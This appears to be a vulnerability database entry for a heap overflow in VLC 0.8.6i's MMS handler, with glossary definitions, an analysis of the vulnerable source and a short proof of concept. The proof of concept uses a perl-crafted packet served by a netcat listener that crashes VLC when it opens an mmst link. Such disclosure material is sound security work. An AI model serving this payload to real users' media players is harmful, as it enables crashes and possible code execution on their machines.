CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

Integer signedness error in the mms_ReceiveCommand function in modules/access/mms/mmstu.c in VLC Media Player 0.8.6i allows remote attackers to execute arbitrary code via a crafted mmst link with a negative size value, which bypasses a size check and triggers an integer overflow followed by a heap-based buffer overflow.
Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Name : VLC 0.8.6i MMS Protocol Handling
Class : Heap Overflow
Published : 2008-08-24

- - Details -
This can be exploited from remote. User have to open mmst://
link poiting to server controlled by the attacker.
vlc\modules\access\mms\mmstu.c :
static int mms_ReceiveCommand( access_t *p_access )
{
access_sys_t *p_sys = p_access->p_sys;
for( ;; )
{
int i_used;
int i_status;
if( NetFillBuffer( p_access ) < 0 )
{
msg_Warn( p_access, "cannot fill buffer" );
return VLC_EGENERIC;
}
if( p_sys->i_buffer_tcp > 0 )
{
[1] i_status = mms_ParseCommand( p_access, p_sys->buffer_tcp,
p_sys->i_buffer_tcp, &i_used );
[2] if( i_used < MMS_BUFFER_SIZE )
{
[3] memmove( p_sys->buffer_tcp, p_sys->buffer_tcp + i_used,
MMS_BUFFER_SIZE - i_used ); //BUG! i_used overflow
(...)
[1] - function that sets i_used to negative value, see below
[2] - i_used is signed, so predicate is true
[3] - actual overflow, we have good control over what is written
static int mms_ParseCommand( access_t *p_access,
uint8_t *p_data,
int i_data,
int *pi_used )
(...)
i_length = GetDWLE( p_data + 8 ) + 16;
(...)
if( i_length > p_sys->i_cmd )
{
msg_Warn( p_access,
"truncated command (missing %d bytes)",
i_length - i_data );
p_sys->i_command = 0;
return -1;
}
[1] else if( i_length < p_sys->i_cmd )
{
p_sys->i_cmd = i_length;
[2] *pi_used = i_length;
}
(...)
[1] - predicate is true
[2] - sets i_used from mms_ReceiveCommand
- - Proof of concept -
on localhost:
perl -e 'print "aaaa\xce\xfa\x0b\xb0\xef\xff\xef\xff"; print "a"x100' > headshot
nc -l -v -p 1755 < headshot
open this url in VLC:
mmst://127.0.0.1/
boom! headshot :)
